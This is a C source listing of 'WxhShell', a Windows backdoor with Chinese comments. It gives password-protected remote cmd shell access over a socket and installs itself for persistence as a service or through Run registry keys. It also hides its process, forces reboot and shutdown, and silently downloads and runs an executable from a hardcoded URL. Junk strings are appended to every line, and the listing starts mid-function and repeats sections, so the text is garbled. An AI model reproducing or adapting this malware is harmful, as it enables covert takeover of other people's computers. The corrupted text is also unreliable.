    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q{I,i(%m8  
    else { 22lC^)`TE  
    closesocket(wsh); SZW+<X  
    ExitThread(0); M il ![A1  
    } +Gv{Apd"  
    break; ,b!!h]t  
    } &(a#I]`9M  
  // 关机 +^1E0@b%  
  case 'd': { 6yEYX'_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (%*CfR:>  
    if(Boot(SHUTDOWN)) v3SH+Ej4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); # hvLv  
    else { D5x }V  
    closesocket(wsh); QB p`r#{I{  
    ExitThread(0); v).V&":  
    } <\uz",e}  
    break; /Qi;'h]  
    } 3NRxf8  
  // 获取shell mNS7/I\  
  case 's': { o;bK 7D  
    CmdShell(wsh); l1BbL5#1Q>  
    closesocket(wsh); JQ|qg\[  
    ExitThread(0); rrBu6\D  
    break; .R5[bXxe7  
  } dE R#)bGj  
  // 退出 z<2!|  
  case 'x': { t}r`~AEa!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &E|2-)  
    CloseIt(wsh); H>Wi(L7  
    break; &<8Q/m]5  
    } H{Tt>k  
  // 离开 |Y#KMi ~  
  case 'q': { :.KN;+tP  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); M JJ]8:%  
    closesocket(wsh); GQ<]Sd}[  
    WSACleanup(); h&Thq52R  
    exit(1); |tL57Wu93  
    break; tj:3R$a  
        } ANB@cK_  
  } BZAeg">3  
  } 6f1%5&si  
Fl{:aq"3  
  // 提示信息 u;1/.`NPB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V/w:^@5+p  
} ~<b/%l>h1  
  } X"QIH|qx-  
~P&Brn"=Rs  
  return; c32IO&W4  
} .Cv0Ze  
S;a'@5  
// shell模块句柄 %JmRJpCvR  
int CmdShell(SOCKET sock) _ 4:@+{  
{ QP/6N9/  
STARTUPINFO si; [^wEKRt&  
ZeroMemory(&si,sizeof(si)); _hP siZY9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E({+2}=1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u 6&<Bv  
PROCESS_INFORMATION ProcessInfo; r(sQI# P  
char cmdline[]="cmd"; "-aak )7w  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JNhHQvi\  
  return 0; w`Q"mx*  
} 0Y rdu,c  
RiHOX&-7  
// 自身启动模式 Wn;B~  
int StartFromService(void) q-c9YOz_  
{ Z9cg,#(D  
typedef struct h{zE;!+)D  
{ /Mk85C79  
  DWORD ExitStatus; @**@W[EM  
  DWORD PebBaseAddress; a& >(*PQ  
  DWORD AffinityMask; ua$H"(#c  
  DWORD BasePriority; |,zcrOo]  
  ULONG UniqueProcessId; hw[jVx  
  ULONG InheritedFromUniqueProcessId; +$]eA'Bh@  
}   PROCESS_BASIC_INFORMATION; TBq;#+1W  
|n9~2R   
PROCNTQSIP NtQueryInformationProcess; I5RV:e5b  
qyXx`'e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !'uLV#YEZ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >r Nff!Ow  
Y|ONCc  
  HANDLE             hProcess; u{%gB&nC  
  PROCESS_BASIC_INFORMATION pbi; Fv!zS.)`  
rBBA`Ut@F  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  y!6+jrI  
  if(NULL == hInst ) return 0; mHTZ:84  
=)Z!qjf1U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f1R&Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); En@] xvE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `x;8,7W;B  
) V}q7\G~  
  if (!NtQueryInformationProcess) return 0; @8zp(1.  
.54E*V1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f.f5f%lO~  
  if(!hProcess) return 0;  U)oH@/q  
=GO/r; 4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )c9]}:W&  
5 `:+NwXS2  
  CloseHandle(hProcess); U3SF'r8  
KX*Hev'K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;K[ G]8  
if(hProcess==NULL) return 0; }z/;^``  
d~L`*"/)[  
HMODULE hMod; 1_JxDT,=>  
char procName[255]; wg6![Uh  
unsigned long cbNeeded; Lo, z7"8  
hK=\O)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  ESOuDD2<  
<0[{Tn  
  CloseHandle(hProcess); <:#O*Y{  
1VW;[ ocQ  
if(strstr(procName,"services")) return 1; // 以服务启动 AF{k^^|H  
K`.wj8zGY  
  return 0; // 注册表启动 1](5wK-Z  
} F",]*> r  
7?6?`no~JJ  
// 主模块 )k5lA=(Yr+  
int StartWxhshell(LPSTR lpCmdLine) /a7tg+:  
{ ,e"A9ik#  
  SOCKET wsl; .y7&!a35  
BOOL val=TRUE; w, 0tY=h6  
  int port=0; )"7hyW5  
  struct sockaddr_in door; KZ ezA4  
3[Pa~]yS  
  if(wscfg.ws_autoins) Install(); YxMOr\B  
]a% *$TF  
port=atoi(lpCmdLine); T!6H5>zA  
1j*I`xZ  
if(port<=0) port=wscfg.ws_port; '[shY  
_E5%Px5>L  
  WSADATA data; 2A3;#v  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zUn> )#ZC  
eqbxf#H!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $[VeZ-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l*[.  
  door.sin_family = AF_INET; myH:bc>6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o{*8l#x8  
  door.sin_port = htons(port); pL$UI3VCP  
7> -y,?&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m:TS .@p  
closesocket(wsl); )Q 8T`Tly  
return 1; & -  
} db"FC3/H  
(_ov _3  
  if(listen(wsl,2) == INVALID_SOCKET) { 'e-Nt&;  
closesocket(wsl); mwFI89J'  
return 1; i |>K  
} _I_Sq,Z#  
  Wxhshell(wsl); fk!wq. a  
  WSACleanup(); 8VvoPlo  
L K9vvQz  
return 0; ] *{QVn(  
P,RCbPC4  
} g# ZR, q  
zypZ3g{vz  
// 以NT服务方式启动 gf+Kr02~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5EIhCbA  
{ ErF;5ec  
DWORD   status = 0; _<5o1  
  DWORD   specificError = 0xfffffff; ;VS;),h/  
cHK)e2 r  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >HnD'y*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5VWXUNe@_q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \()\pp~4  
  serviceStatus.dwWin32ExitCode     = 0; z Q NL){  
  serviceStatus.dwServiceSpecificExitCode = 0; &0TOJ:RP  
  serviceStatus.dwCheckPoint       = 0; rWbuoG+8  
  serviceStatus.dwWaitHint       = 0; !lE (!d3M  
Oa~t&s  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k%QhF]  
  if (hServiceStatusHandle==0) return; t~p9iGX<  
zW%-Z6%D  
status = GetLastError(); tklU zv  
  if (status!=NO_ERROR) JGZ,5RTq4-  
{ x Mtl<Na   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?n/:1LN,  
    serviceStatus.dwCheckPoint       = 0; h 88iZK  
    serviceStatus.dwWaitHint       = 0; f(DGC2R <  
    serviceStatus.dwWin32ExitCode     = status; A <iF37.  
    serviceStatus.dwServiceSpecificExitCode = specificError; e =& abu  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ld94ek  
    return; yY*OAC  
  }  D@qq=M  
]M{SM`Ya  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }Evyfc#D  
  serviceStatus.dwCheckPoint       = 0; fl~k')s  
  serviceStatus.dwWaitHint       = 0; V~5vVY_HG&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ))!Z2PfD  
} %Ua*}C   
D`e!CprF  
// 处理NT服务事件,比如:启动、停止 Kv+E"2d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7&NRE"?G  
{ OM]p"Jd  
switch(fdwControl) {AIP\  
{ RrLQM!~  
case SERVICE_CONTROL_STOP: 5<4njo?k  
  serviceStatus.dwWin32ExitCode = 0; {#q<0l  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `a:@[0r0U  
  serviceStatus.dwCheckPoint   = 0; Y,WcHE  
  serviceStatus.dwWaitHint     = 0; x{~-YzWho  
  { 5gI@~h S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xpFu$2T6P.  
  }  AO;+XP=  
  return; &X_I^*  
case SERVICE_CONTROL_PAUSE: ZERUvk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ({![  
  break; X =S;8=N  
case SERVICE_CONTROL_CONTINUE: =0,")aa!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {exF" ap  
  break; 0$ &Z_oJ  
case SERVICE_CONTROL_INTERROGATE: ?`\<t$M  
  break; :<ujk  
}; \UJ:PW$7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n5UcivyX  
} (W3R3>;  
abD55YJY  
// 标准应用程序主函数 ;eG%#=>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bm%2K@ /U  
{ 8[f]9P/i  
xQ1&j,R]  
// 获取操作系统版本 @)VJ,Ql$Y  
OsIsNt=GetOsVer(); XnWr~h{b  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h'UWf"d  
E(8!VY ^  
  // 从命令行安装 FO3!tJ\L  
  if(strpbrk(lpCmdLine,"iI")) Install(); .IpwTke'  
C_O 7  
  // 下载执行文件 Ca+d ?IS  
if(wscfg.ws_downexe) { ,Q(n(m'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nT|fDD|  
  WinExec(wscfg.ws_filenam,SW_HIDE); (' `) m  
} dSIMwu6u  
kp<9o!?)  
if(!OsIsNt) { (U!WD`Ym  
// 如果时win9x,隐藏进程并且设置为注册表启动 E_WiQ?p   
HideProc(); 0plRsZ}  
StartWxhshell(lpCmdLine); :BMUc-[  
} wi*Ke2YKP  
else Jd1eOeS  
  if(StartFromService()) D6bCC; h=  
  // 以服务方式启动 'ycs{}'  
  StartServiceCtrlDispatcher(DispatchTable); `{F8#    
else /J{P8=x}_:  
  // 普通方式启动 uHz D  
  StartWxhshell(lpCmdLine); X /5tZ@  
, X$S4>  
return 0; yKZ~ ^  
} X,O&X  
.j7|;Ag  
LfOGq%&  
x"AYt:ewuc  
=========================================== v.r$]O  
@H&Aj..  
#: ' P3)&  
%PlPXoG=  
.h~)|" uzW  
%<1fj#X8  
" qcQ`WU{  
X:8=jHkz  
#include <stdio.h> J_rCo4}  
#include <string.h> Gjy'30IF  
#include <windows.h> Duptles  
#include <winsock2.h> vU{ZB^+&6o  
#include <winsvc.h> 2Y  6/,W  
#include <urlmon.h> a^Zn }R r  
k qwS/s  
#pragma comment (lib, "Ws2_32.lib") T a/G  
#pragma comment (lib, "urlmon.lib") ?/dz!{JC  
` mCcD  
#define MAX_USER   100 // 最大客户端连接数 >Cd%tIie*  
#define BUF_SOCK   200 // sock buffer q;kM eE*  
#define KEY_BUFF   255 // 输入 buffer u#J5M&#  
*WMcE$w/D  
#define REBOOT     0   // 重启 > )#*}JI  
#define SHUTDOWN   1   // 关机 pk;bx2CP8  
0" R|lTYq  
#define DEF_PORT   5000 // 监听端口 ynP^|Ou  
Qt>yRt  
#define REG_LEN     16   // 注册表键长度 '^Sa|WXq  
#define SVC_LEN     80   // NT服务名长度 oVC~RKA*  
b;soMilz  
// 从dll定义API K3 ]hUe#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,8$;|#d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u =rY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S'E6#   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3kYUO-qw  
hC6$>tl  
// wxhshell配置信息 )%,bog(x  
struct WSCFG { !\|&E>Gy  
  int ws_port;         // 监听端口 Fzu"&&>0$  
  char ws_passstr[REG_LEN]; // 口令 [gv2fqpP  
  int ws_autoins;       // 安装标记, 1=yes 0=no n4Q!lJ  
  char ws_regname[REG_LEN]; // 注册表键名 uY "88|  
  char ws_svcname[REG_LEN]; // 服务名 .6vQWt7@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 PFEi=}Y@((  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {Qw,L;R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 IUu[`\b=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no w:N\]=Vh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &,)9cV /  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W4>8  
^{~y+1lt'  
}; 3)Paf`mr  
lfj>]om$  
// default Wxhshell configuration ^=R>rUCmv  
struct WSCFG wscfg={DEF_PORT, ]4z?sk@  
    "xuhuanlingzhe", b;x^>(It  
    1, OSkZW  
    "Wxhshell", (#Y2H  
    "Wxhshell", (5G^"Srw  
            "WxhShell Service", 5,?9#n\E,  
    "Wrsky Windows CmdShell Service", { Ja#pt  
    "Please Input Your Password: ", Q'Q+mt8u5  
  1, |n6nRE wW  
  "http://www.wrsky.com/wxhshell.exe", /3+7a\|mKr  
  "Wxhshell.exe" AeUwih. 4  
    }; 37lmB '~  
GhpH7% s  
// 消息定义模块 E}1[&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; y!aq}YS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3s>& h-E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; r."Dc  
char *msg_ws_ext="\n\rExit."; ~@sx}u  
char *msg_ws_end="\n\rQuit."; +Do7rl  
char *msg_ws_boot="\n\rReboot..."; ze#LX4b I  
char *msg_ws_poff="\n\rShutdown..."; <[a9"G 7  
char *msg_ws_down="\n\rSave to "; MR+ndB<  
})"9TfC  
char *msg_ws_err="\n\rErr!"; }B0V$  
char *msg_ws_ok="\n\rOK!"; vQIoj31  
*5|\if\  
char ExeFile[MAX_PATH]; #Va@4<4r  
int nUser = 0; :&TOQ<vM  
HANDLE handles[MAX_USER]; k# &y  
int OsIsNt; 0c:CA>F  
-?e~S\JH  
SERVICE_STATUS       serviceStatus; roRZE[ya  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }A2@1TTPX  
=|?w<qc  
// 函数声明 ?,s{M^sj^  
int Install(void); ^QFjBQ-Hai  
int Uninstall(void); t3bDi/m  
int DownloadFile(char *sURL, SOCKET wsh); YQYN.\  
int Boot(int flag); BHFWig*{  
void HideProc(void); # <&=ZLN  
int GetOsVer(void); //6m2a  
int Wxhshell(SOCKET wsl); 0]NsT0M  
void TalkWithClient(void *cs); UGR5ILf  
int CmdShell(SOCKET sock); b/S4b  
int StartFromService(void); ^M?uv{354  
int StartWxhshell(LPSTR lpCmdLine); 4Q3Q.(  
A?6b)B/e?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5(DCq(\P*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); R8HA X  
*(r85lEou)  
// 数据结构和表定义 p]pFZ";70  
SERVICE_TABLE_ENTRY DispatchTable[] = <pPI:D@G  
{ ikm4Y`c  
{wscfg.ws_svcname, NTServiceMain}, gk] r:p<O  
{NULL, NULL} O`Z>Oon?  
}; X\YeO> C  
]`UJwq  
// 自我安装 x{ZcF=4  
int Install(void) |t.WPp5,  
{ (>)Y0ki}  
  char svExeFile[MAX_PATH]; fh,Y#.V`  
  HKEY key; |/r@z[t  
  strcpy(svExeFile,ExeFile); ];Z_S`JR  
/nC"'d(#  
// 如果是win9x系统,修改注册表设为自启动 I98wMV8  
if(!OsIsNt) { c?z% z&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y8,es$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kuUH 2:L  
  RegCloseKey(key); VY![VnHsB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *4.f*3*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eH1Y!&`  
  RegCloseKey(key); 2gFQHV  
  return 0; J/ rQ42d  
    } Uvz9x"0[u  
  } H[6d@m- Z  
} B;rq{ac!P]  
else { (1TYJ. Z  
1bvL  
// 如果是NT以上系统,安装为系统服务 9`vse>,-hg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2@A7i<p  
if (schSCManager!=0) ;N4mR6  
{ wV(_=LF  
  SC_HANDLE schService = CreateService 8@Y@5)Oc  
  ( /=-E`%R}!  
  schSCManager, +/UInAM  
  wscfg.ws_svcname, Ya,>E@oc  
  wscfg.ws_svcdisp, \W$>EH  
  SERVICE_ALL_ACCESS,   (+Er  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Rhr]ML  
  SERVICE_AUTO_START, \w`Il"}V  
  SERVICE_ERROR_NORMAL, +LX&1GX  
  svExeFile, ok[R`99  
  NULL, 4#=^YuKaF1  
  NULL, c{&sf y  
  NULL, 9$Hgh7'hvs  
  NULL, SUvHLOA  
  NULL ^TB%| yZ _  
  ); EcP"GO5  
  if (schService!=0) eQYW>z'%,  
  { XFM6.ye  
  CloseServiceHandle(schService); /j.V0%  
  CloseServiceHandle(schSCManager); \WZ00Y,*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =P2T&Gb  
  strcat(svExeFile,wscfg.ws_svcname); Ak4iG2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KXR  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); LR`/pet  
  RegCloseKey(key); 1L^\TC  
  return 0; +n%WmRf6!  
    } 9BHl 2<&V  
  } @3b0hi4  
  CloseServiceHandle(schSCManager); uT;9xV%ch  
} \N;s@j W  
} TrHBbyqk  
eaCEZHr$  
return 1; "*TnkFTR  
} =k0l>)  
+fKLCzj  
// 自我卸载 o>j3<#?  
int Uninstall(void) I,q3J1K  
{ -+c_TJ.dC  
  HKEY key; ~/gqXT">  
;.m"y-  
if(!OsIsNt) { 5)EnOT"'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JkpA \<  
  RegDeleteValue(key,wscfg.ws_regname); ];(w8l  
  RegCloseKey(key); 03{e[#6   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <tFq6|  
  RegDeleteValue(key,wscfg.ws_regname); w' U;b  
  RegCloseKey(key); O^`Y>>a  
  return 0; $L;7SY?  
  } 5w{_WR6,  
} Jd)|== yD  
} 6B|IbQ^  
else { t0hg!_$bq  
, gz:2UY#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =Ermh7,  
if (schSCManager!=0) x+^iEj`gk  
{ /SP^fB*y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B;_M52-B  
  if (schService!=0) 5a4;d+  
  { et)A$'Q  
  if(DeleteService(schService)!=0) { C;STJrew  
  CloseServiceHandle(schService); `) K1[&  
  CloseServiceHandle(schSCManager); LVO`+:  
  return 0; K{"(|~=U  
  } .7cQKdvcC  
  CloseServiceHandle(schService); Rz%+E0  
  } \W #M]Q  
  CloseServiceHandle(schSCManager); MheP@ [w|@  
} 8]+hfB/  
} 8+ Hho@=  
U%U%a,rA5s  
return 1; dp-8,Seu  
} i wK,XnIR  
z q(AN<  
// 从指定url下载文件 'KM@$2tK^q  
int DownloadFile(char *sURL, SOCKET wsh) QBDi;Xzb+  
{ Q<Utwk?nL  
  HRESULT hr; hb[K.`g  
char seps[]= "/"; %0=|WnF-  
char *token; }0c'hWMZ}  
char *file; ;pS Wu9  
char myURL[MAX_PATH]; >CNH=  
char myFILE[MAX_PATH]; 42X[Huy]  
2z&HT SI  
strcpy(myURL,sURL); r1$ O<3\  
  token=strtok(myURL,seps); /R@eOl}D  
  while(token!=NULL) &o:wSe  
  { sIg{a( 1/  
    file=token; q[7C,o>/  
  token=strtok(NULL,seps); zjB8~ku#  
  } dN;C-XF3s  
1;g>?18@  
GetCurrentDirectory(MAX_PATH,myFILE); :/d#U:I  
strcat(myFILE, "\\"); #L[Atx  
strcat(myFILE, file); l.Qj?G  
  send(wsh,myFILE,strlen(myFILE),0); YzsHec  
send(wsh,"...",3,0); So,EPB+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); OG/R6k.  
  if(hr==S_OK) jD'\\jAUdm  
return 0; 2Vt iL^;5  
else rS8/_'  
return 1; H8rDG/>^  
8T7[/"hi\  
} dk-Y!RfNx  
&F)P3=  
// 系统电源模块 WXaLKiA*(  
int Boot(int flag) /oE@F178  
{ \_CC6J0k  
  HANDLE hToken; [y64%|m  
  TOKEN_PRIVILEGES tkp; d#Ql>PrY  
l>H#\MR  
  if(OsIsNt) { Z[Uz~W6M]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0ir]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^JJ*pT:  
    tkp.PrivilegeCount = 1; >o%.`)Ar  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; c$bb0J%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b&s"x? 7  
if(flag==REBOOT) { &mp=jGR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ebp18_a|  
  return 0; ixp(^>ZN  
} g]N!_Ib/!  
else { Z2j M.[hq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [*]&U6\j  
  return 0; ?%{v1(  
} j[ kg9z  
  } pa4zSl  
  else { Mb"i}Yt{  
if(flag==REBOOT) { J *5 )g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m ['UV2  
  return 0; \Om.pOz  
} yiWBIJ2Wu9  
else { nV@k}IJg:?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @y2{LUJe  
  return 0; >5'C<jc C  
} O#sDZ.EL  
} G?#f@N0.5p  
U# G0  
return 1; )Gh"(]-<  
} v&(PM{3o  
71Q-_Hi  
// win9x进程隐藏模块 DUFfk6#X}  
void HideProc(void) {OXKXRCa  
{ M]vc W  
.m9s+D]fI  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U4w^eWzP  
  if ( hKernel != NULL ) wG ua"@IE  
  { 4w<U%57  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f]jAa?d T&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6X$]d^)h{  
    FreeLibrary(hKernel); 4l<%Q2  
  } d *!)wt  
j;WZ[g#t  
return; /2Y t\=S=  
} dmgoVF_qR  
G\@ uj>Z  
// 获取操作系统版本  <]2X~+v  
int GetOsVer(void) >;-.rJFr  
{ x_GD  
  OSVERSIONINFO winfo; A9`& Wnw?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2"cUBFc1I  
  GetVersionEx(&winfo); @!1o +x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) PJ5~,4H-4  
  return 1; \Z{6j&;  
  else \7 n ;c   
  return 0; 3WHj|ENW  
} x\z* iv  
)*}2L_5]  
// 客户端句柄模块 {ZP0%MD  
int Wxhshell(SOCKET wsl) _a|-_p  
{ 1MkQ$v7m  
  SOCKET wsh; wJ,l"bnq  
  struct sockaddr_in client; dfAnOF"-  
  DWORD myID; ecfw[4B`  
G~b/!clN  
  while(nUser<MAX_USER) i|?EgGFG  
{ &FHzd/  
  int nSize=sizeof(client); 8b\XC%k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); dT?/9JIv  
  if(wsh==INVALID_SOCKET) return 1; efW<  
O10,h(O  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #fk#RNt  
if(handles[nUser]==0) j?<>y/IR  
  closesocket(wsh); OE[| 1?3  
else 5 Yj qN  
  nUser++; %#kml{I   
  } *DfwTbg|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E}LYO:  
4HG;v|Cp  
  return 0; XRA RgWj  
} m?G@#[ l  
#29m <f_n  
// 关闭 socket _ `5?/\7  
void CloseIt(SOCKET wsh) $2I^ ;5r[  
{ 4BF \- lq~  
closesocket(wsh); L+VqTt  
nUser--; W/e6O??O  
ExitThread(0); ~U"puEftbs  
} b/"&E'5-`\  
lrrNyaFn  
// 客户端请求句柄 3msb"|DG  
void TalkWithClient(void *cs) hq+j8w}<-  
{ Esx"nex  
^k{b8-)W<  
  SOCKET wsh=(SOCKET)cs; r Z)?uqa  
  char pwd[SVC_LEN]; \zOo[/-<  
  char cmd[KEY_BUFF]; '9@} =pE  
char chr[1]; Fq>tl 64A  
int i,j; $o}Ao@WkO  
<Cv 6wC=  
  while (nUser < MAX_USER) { p8gm=  
g }\ G@7Q  
if(wscfg.ws_passstr) { xb8S)zO]Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `_"F7Czn  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .l1uqCuB  
  //ZeroMemory(pwd,KEY_BUFF); "L ,)4v/J  
      i=0; % \N52  
  while(i<SVC_LEN) { 8);G'7O  
l5; SY  
  // 设置超时 TQ hu$z<  
  fd_set FdRead; P)D2PVD  
  struct timeval TimeOut; jgpSFb<9F  
  FD_ZERO(&FdRead); LKC^Y) 6o  
  FD_SET(wsh,&FdRead); $?`-} wY  
  TimeOut.tv_sec=8; }K F f  
  TimeOut.tv_usec=0; Hst]}g' .  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *n]f)Jc  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #POVu|Y;h  
ZH<: g6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oyfY>^bs  
  pwd=chr[0]; 9Kl:3C  
  if(chr[0]==0xd || chr[0]==0xa) { 9$<1<  
  pwd=0; {"e)Jj_=  
  break; V7~tIhuJH  
  } =o_Ua^mr  
  i++; ;YGCsLT<xt  
    } RV@'$`Q  
$f>h_8cla  
  // 如果是非法用户,关闭 socket 41^=z[k  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XWd;-%`<  
} STln_'DF'  
n VNz5B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o*5iHa(Qm  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yq7gBkS  
~(v7:?  
while(1) { c2E*A+V#u  
SLsw '<  
  ZeroMemory(cmd,KEY_BUFF); 9I1D'7wI^^  
 Q{K '#  
      // 自动支持客户端 telnet标准   O %m\ Q1  
  j=0; "39\@Ow  
  while(j<KEY_BUFF) { qz_'v{uAj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _dQg5CmlG  
  cmd[j]=chr[0]; uPhL?s{  
  if(chr[0]==0xa || chr[0]==0xd) { G>@KX  
  cmd[j]=0; ;URvZ! {/Z  
  break; 8GN_ 3pT  
  } lq'MLg  
  j++; %:S4OT8]  
    } ?:woUTyCv  
or<n[<D-C  
  // 下载文件 NoAgZ{))  
  if(strstr(cmd,"http://")) { w ag^Sk  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); MJ?fMR@  
